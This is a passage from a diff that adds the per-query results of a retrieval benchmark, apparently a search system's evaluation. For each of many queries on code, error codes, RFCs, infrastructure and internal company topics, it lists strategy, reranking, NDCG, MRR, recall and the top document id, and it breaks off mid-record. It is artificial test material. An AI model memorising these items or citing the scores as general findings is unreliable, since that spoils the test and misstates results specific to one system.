+ "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "asyncio.gather", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-python-asyncio", + "totalRelevant": 2 + }, + { + "query": "select_related", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "django-orm", + "totalRelevant": 1 + }, + { + "query": "useEffect dependency array", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "react-effects", + "totalRelevant": 2 + }, + { + "query": "Promise.allSettled", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "promise-pitfalls", + "totalRelevant": 1 + }, + { + "query": "go func channel", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "code-go-goroutine", + "totalRelevant": 2 + }, + { + "query": "tokio::spawn", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-async", + "totalRelevant": 1 + }, + { + "query": "context.WithTimeout", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-context", + "totalRelevant": 1 + }, + { + "query": "errors.Is errors.As", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-error-handling", + "totalRelevant": 1 + }, + { + "query": "Result Option ? operator", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-error-handling", + "totalRelevant": 1 + }, + { + "query": "WITH RECURSIVE", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-sql-cte", + "totalRelevant": 1 + }, + { + "query": "CREATE EXTENSION vector", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pgvector", + "totalRelevant": 1 + }, + { + "query": "find -print0 xargs -0", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-bash-pipeline", + "totalRelevant": 1 + }, + { + "query": "FROM node:20-alpine AS build", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-dockerfile", + "totalRelevant": 2 + }, + { + "query": "kubectl apply -f", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "ts-generics", + "totalRelevant": 1 + }, + { + "query": "EXPLAIN ANALYZE BUFFERS", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-explain", + "totalRelevant": 1 + }, + { + "query": "VACUUM FULL", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "XADD XREAD XACK", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-pubsub", + "totalRelevant": 1 + }, + { + "query": "SETBIT GETBIT BITCOUNT", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-bitmaps", + "totalRelevant": 1 + }, + { + "query": "SCRIPT LOAD EVALSHA", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-lua", + "totalRelevant": 1 + }, + { + "query": "ALTER DEFAULT PRIVILEGES", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-roles", + "totalRelevant": 1 + }, + { + "query": "patronictl failover", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "kubectl auth can-i --list", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "actions/cache", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "github-actions", + "totalRelevant": 1 + }, + { + "query": "openssl s_client -connect", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "x509-verify", + "totalRelevant": 1 + }, + { + "query": "dmesg | grep oom-killer", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 1 + }, + { + "query": "lsof -iTCP -sTCP:LISTEN", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-conn-refused", + "totalRelevant": 2 + }, + { + "query": "ss -lntp", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-eaddrinuse", + "totalRelevant": 1 + }, + { + "query": "SO_REUSEPORT", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-eaddrinuse", + "totalRelevant": 1 + }, + { + "query": "go mod tidy", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-modules", + "totalRelevant": 1 + }, + { + "query": "cargo build --release", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-cargo", + "totalRelevant": 1 + }, + { + "query": "uniqueBy generic function", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.8772153153380493, + "mrr": 1, + "recall10": 1, + "topDocId": "code-typescript-generic", + "totalRelevant": 2 + }, + { + "query": "impl Shape for Circle", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-rust-trait", + "totalRelevant": 2 + }, + { + "query": "scope :active lambda", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rails-active-record", + "totalRelevant": 1 + }, + { + "query": "@SpringBootApplication", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "spring-boot", + "totalRelevant": 1 + }, + { + "query": "fastify-plugin scope", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "fastify-plugins", + "totalRelevant": 1 + }, + { + "query": "pip install uv", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-packaging", + "totalRelevant": 2 + }, + { + "query": "pyproject.toml hatchling", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-packaging", + "totalRelevant": 1 + }, + { + "query": "df.loc df.iloc groupby", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-pandas", + "totalRelevant": 1 + }, + { + "query": "TypeVar Generic Protocol", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-typing", + "totalRelevant": 1 + }, + { + "query": "fmt.Errorf %w", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "go-error-handling", + "totalRelevant": 1 + }, + { + "query": "ERR_CONNECTION_REFUSED 4101", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-conn-refused", + "totalRelevant": 1 + }, + { + "query": "OOM killer SIGKILL", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 1 + }, + { + "query": "CVE-2024-3094", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-cve-xz", + "totalRelevant": 1 + }, + { + "query": "RFC 7519", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-7519-jwt", + "totalRelevant": 1 + }, + { + "query": "x509: certificate verify failed", + "category": "error_code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "x509-verify", + "totalRelevant": 1 + }, + { + "query": "SQLSTATE 40P01", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-deadlock", + "totalRelevant": 1 + }, + { + "query": "EADDRINUSE", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-eaddrinuse", + "totalRelevant": 1 + }, + { + "query": "SIGSEGV segmentation fault", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-segfault", + "totalRelevant": 1 + }, + { + "query": "CVE-2021-44228 Log4Shell", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "RFC 8446", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "arabic-tls", + "totalRelevant": 1 + }, + { + "query": "RFC 9110 HTTP semantics", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "RFC 6238 TOTP", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mfa-totp", + "totalRelevant": 1 + }, + { + "query": "RFC 9112", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "PEP 484 type hints", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-typing", + "totalRelevant": 1 + }, + { + "query": "PEP 703 no-GIL", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 1 + }, + { + "query": "PEP 517 build backend", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-packaging", + "totalRelevant": 1 + }, + { + "query": "TLS 1.3 RFC 8446", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "arabic-tls", + "totalRelevant": 2 + }, + { + "query": "404 vs 410 Gone", + "category": "error_code", + "strategy": "keyword", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "quic-http3", + "totalRelevant": 1 + }, + { + "query": "503 Service Unavailable", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 1 + }, + { + "query": "Sev1 Sev0 incident", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 1 + }, + { + "query": "\"liveness probes\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "german-kubernetes", + "totalRelevant": 2 + }, + { + "query": "\"borrow checker\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-ownership", + "totalRelevant": 2 + }, + { + "query": "\"connection refused\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-conn-refused", + "totalRelevant": 1 + }, + { + "query": "\"audit log\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.8315546295836225, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 2 + }, + { + "query": "\"OOM killer\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 2 + }, + { + "query": "\"server-side rendering\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "auth-jwt-vs-session", + "totalRelevant": 1 + }, + { + "query": "\"pool of connections\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "\"deadlock detected\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-deadlock", + "totalRelevant": 1 + }, + { + "query": "\"cold start\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-lambda", + "totalRelevant": 1 + }, + { + "query": "\"Largest Contentful Paint\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "web-perf-cwv", + "totalRelevant": 1 + }, + { + "query": "\"reciprocal rank fusion\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-rrf", + "totalRelevant": 1 + }, + { + "query": "\"chain of thought\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-prompt-engineering", + "totalRelevant": 1 + }, + { + "query": "\"data subject access request\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "compliance-pii", + "totalRelevant": 1 + }, + { + "query": "\"break glass account\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "\"global interpreter lock\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 1 + }, + { + "query": "\"event loop\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "python-asyncio", + "totalRelevant": 2 + }, + { + "query": "\"trait object\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-traits", + "totalRelevant": 1 + }, + { + "query": "\"head-of-line blocking\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "quic-http3", + "totalRelevant": 2 + }, + { + "query": "\"presigned URL\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.38685280723454163, + "mrr": 0.5, + "recall10": 0.5, + "topDocId": "code-python-asyncio", + "totalRelevant": 2 + }, + { + "query": "\"multi-AZ\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-rds", + "totalRelevant": 1 + }, + { + "query": "redis", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.7226387152952866, + "mrr": 0.5, + "recall10": 1, + "topDocId": "redis-sentinel", + "totalRelevant": 4 + }, + { + "query": "pgbouncer", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "russian-postgres", + "totalRelevant": 3 + }, + { + "query": "kubernetes", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.4430895440946125, + "mrr": 0.5, + "recall10": 0.5, + "topDocId": "k8s-ingress", + "totalRelevant": 6 + }, + { + "query": "tls", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.9325210919548239, + "mrr": 1, + "recall10": 1, + "topDocId": "arabic-tls", + "totalRelevant": 3 + }, + { + "query": "GIL", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 1 + }, + { + "query": "FSDP", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 1 + }, + { + "query": "bgp", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "bgp-routing", + "totalRelevant": 1 + }, + { + "query": "quic", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "quic-http3", + "totalRelevant": 1 + }, + { + "query": "websockets", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "websockets", + "totalRelevant": 1 + }, + { + "query": "mtls", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mtls", + "totalRelevant": 1 + }, + { + "query": "kafka", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "k8s-statefulsets", + "totalRelevant": 1 + }, + { + "query": "lambda", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-lambda", + "totalRelevant": 1 + }, + { + "query": "iam", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.7653606369886217, + "mrr": 1, + "recall10": 0.6666666666666666, + "topDocId": "gcp-iam", + "totalRelevant": 3 + }, + { + "query": "vpc", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-vpc", + "totalRelevant": 1 + }, + { + "query": "rbac", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 2 + }, + { + "query": "helm", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-helm", + "totalRelevant": 1 + }, + { + "query": "jwt", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "rfc-7519-jwt", + "totalRelevant": 2 + }, + { + "query": "totp", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mfa-totp", + "totalRelevant": 1 + }, + { + "query": "rrf", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-rrf", + "totalRelevant": 1 + }, + { + "query": "lora", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fine-tuning", + "totalRelevant": 1 + }, + { + "query": "rag", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "totalRelevant": 1 + }, + { + "query": "rlhf", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-rlhf", + "totalRelevant": 1 + }, + { + "query": "mongodb", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "chinese-mongodb", + "totalRelevant": 1 + }, + { + "query": "elasticsearch", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "k8s-statefulsets", + "totalRelevant": 1 + }, + { + "query": "clickhouse", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "clickhouse-mergetree", + "totalRelevant": 1 + }, + { + "query": "dynamodb", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "terraform-state", + "totalRelevant": 1 + }, + { + "query": "cassandra", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cassandra-consistency", + "totalRelevant": 1 + }, + { + "query": "sqlite", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "sqlite-wal", + "totalRelevant": 1 + }, + { + "query": "argocd", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gitops-argocd", + "totalRelevant": 1 + }, + { + "query": "terraform", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "terraform-state", + "totalRelevant": 2 + }, + { + "query": "ansible", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + }, + { + "query": "fastify", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "fastify-plugins", + "totalRelevant": 1 + }, + { + "query": "PgBouncer config production OLTP", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "spanish-postgres", + "totalRelevant": 1 + }, + { + "query": "Redis Streams XADD consumer groups", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-pubsub", + "totalRelevant": 1 + }, + { + "query": "Kubernetes Deployment rolling update strategy", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-deployments", + "totalRelevant": 1 + }, + { + "query": "TLS handshake ClientHello cipher suites", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "tls-handshake", + "totalRelevant": 1 + }, + { + "query": "FSDP sharded data parallel training", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 1 + }, + { + "query": "Postgres pgvector index ivfflat", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pgvector", + "totalRelevant": 1 + }, + { + "query": "AWS S3 lifecycle Glacier", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-s3", + "totalRelevant": 1 + }, + { + "query": "Acme PaymentsOnCall escalation", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 2 + }, + { + "query": "ArgoCD ApplicationSet generators", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "pg-extensions", + "totalRelevant": 1 + }, + { + "query": "Cilium NetworkPolicy L7", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-networkpolicy", + "totalRelevant": 1 + }, + { + "query": "HashiCorp Vault dynamic secrets", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "k8s-secrets", + "totalRelevant": 1 + }, + { + "query": "Sigstore cosign signing", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "Tailscale MFA VPN", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vpn-access", + "totalRelevant": 1 + }, + { + "query": "PagerDuty Sev1 ack", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 1 + }, + { + "query": "Greenhouse hiring rubric", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "engineering-hiring-rubric", + "totalRelevant": 1 + }, + { + "query": "BambooHR vacation request", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vacation-policy", + "totalRelevant": 1 + }, + { + "query": "Expensify per diem", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "expense-report", + "totalRelevant": 1 + }, + { + "query": "Tendermint HotStuff BFT", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "blockchain-consensus", + "totalRelevant": 1 + }, + { + "query": "Curve25519 secp256k1 ECDSA", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "crypto-ec", + "totalRelevant": 1 + }, + { + "query": "Apache Log4j JNDI lookup", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "GPTQ AWQ INT4 quantization", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-quantization", + "totalRelevant": 1 + }, + { + "query": "Tendermint validator set", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "blockchain-consensus", + "totalRelevant": 1 + }, + { + "query": "Patroni leader DCS", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "Snyk findings CI", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "Okta GitHub PagerDuty onboarding", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "LaunchDarkly feature flag", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-payment-outage", + "totalRelevant": 1 + }, + { + "query": "OWASP Top 10 SSRF", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "owasp-top-10", + "totalRelevant": 1 + }, + { + "query": "DPO PPO reward model", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-rlhf", + "totalRelevant": 1 + }, + { + "query": "Tokio runtime executor", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-async", + "totalRelevant": 1 + }, + { + "query": "vacuum without locking writes", + "category": "negation", + 